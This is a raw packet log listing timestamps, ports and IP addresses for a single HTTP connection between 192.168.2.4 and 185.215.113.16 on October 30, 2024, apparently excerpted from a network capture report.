Oct 30, 2024 12:36:51.313249111 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313261032 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313270092 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313271999 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313282967 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313292980 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313293934 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313309908 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313335896 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313345909 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313349009 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313355923 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313366890 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313376904 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313385963 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313386917 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313396931 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313406944 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313415051 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313425064 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313426018 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313437939 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313443899 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313447952 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313476086 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313496113 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313597918 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313610077 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313620090 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313630104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313635111 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313642979 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313646078 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313657045 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313662052 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313692093 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313715935 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313810110 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313828945 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313847065 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313859940 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313859940 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313870907 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313882113 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313883066 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313893080 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313899994 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313913107 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313925028 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313935041 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313935041 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313949108 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313962936 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313966990 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313978910 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313988924 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313994884 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313999891 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314012051 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314022064 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314027071 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.314033031 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314043045 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314049006 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.314058065 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314069986 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314069986 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.314080000 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314091921 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314101934 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314107895 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.314107895 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.314129114 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.314157963 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.314321995 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314372063 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314373970 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.314383030 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314423084 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.314440012 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314450979 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314460039 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314471006 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314491034 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.314500093 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314512014 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314522028 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314512014 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.314533949 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314546108 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314549923 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.314570904 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.314598083 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.314640045 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314651012 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314661026 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314671993 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314682961 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314694881 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314711094 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.314711094 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.314747095 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.314747095 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.314786911 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314799070 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314809084 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314819098 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314830065 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314834118 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.314841032 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314856052 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.314898014 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.314944029 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314954996 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314965963 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314975023 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314985991 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.314996958 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315004110 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.315006018 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315018892 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315028906 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315030098 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.315030098 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.315041065 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315048933 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.315051079 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315061092 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315088034 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315093994 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.315099001 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315109015 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315112114 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.315120935 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315140963 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315149069 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.315150976 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315162897 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315175056 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315176964 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.315176964 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.315206051 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.315246105 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.315355062 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315392017 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315403938 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315404892 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.315434933 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.315535069 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315603018 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315613985 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315646887 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.315694094 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.315717936 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315728903 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315738916 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315747976 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315769911 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.315798044 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.315804005 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315817118 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315833092 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315844059 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315854073 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.315860987 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.315860987 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.315886021 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.315915108 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.317205906 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.317223072 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.317234039 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.317245007 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.317255974 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.317269087 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.317301035 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.317328930 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.317616940 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.317635059 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.317645073 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.317656994 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.317676067 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.317679882 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.317687035 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.317708015 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.317737103 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.317744017 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.317760944 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.317774057 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.317785025 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.317787886 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.317796946 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.317814112 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.317832947 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.317878008 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.317980051 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.317990065 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.317998886 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318032980 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.318063974 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.318109035 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318120003 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318135977 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318155050 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318161011 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.318166018 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318201065 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.318223953 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.318233013 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318243027 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318253040 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318264008 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318289995 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.318294048 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318305969 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318310976 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.318316936 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318346977 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318351984 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.318358898 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318368912 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318373919 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.318412066 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.318454981 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318466902 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318476915 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318521023 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.318521023 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.318542957 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318555117 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318567038 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318578959 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318589926 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318602085 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.318609953 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318627119 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318631887 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.318639040 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318650007 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318655968 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.318660975 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318671942 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318681955 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318696022 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.318700075 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318710089 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318720102 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318732023 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318736076 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.318736076 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.318742990 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318764925 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.318799973 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.318890095 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318937063 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.318972111 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318983078 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.318993092 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319004059 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319014072 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319024086 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319024086 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319025040 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319061041 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319061041 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319072008 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319082022 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319083929 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319093943 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319103003 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319104910 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319135904 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319159985 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319197893 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319209099 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319221020 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319247007 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319262028 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319268942 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319272995 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319283962 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319294930 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319329977 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319329977 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319329977 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319341898 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319353104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319360018 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319365978 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319374084 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319394112 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319399118 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319406033 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319417000 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319430113 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319430113 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319444895 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319456100 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319463968 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319468021 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319490910 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319498062 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319503069 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319514990 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319518089 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319525957 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319536924 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319540024 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319559097 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319571018 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319581032 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319586992 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319597960 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319597960 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319607019 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319618940 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319631100 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319633007 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319653034 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319674015 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319880009 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319927931 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319940090 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.319977999 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.319998980 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320004940 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320017099 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320028067 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320040941 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320067883 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320074081 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320086002 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320091009 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320105076 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320113897 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320125103 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320137978 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320141077 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320148945 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320161104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320163965 CET	49747	80	192.168.2.4	185.215.113.16
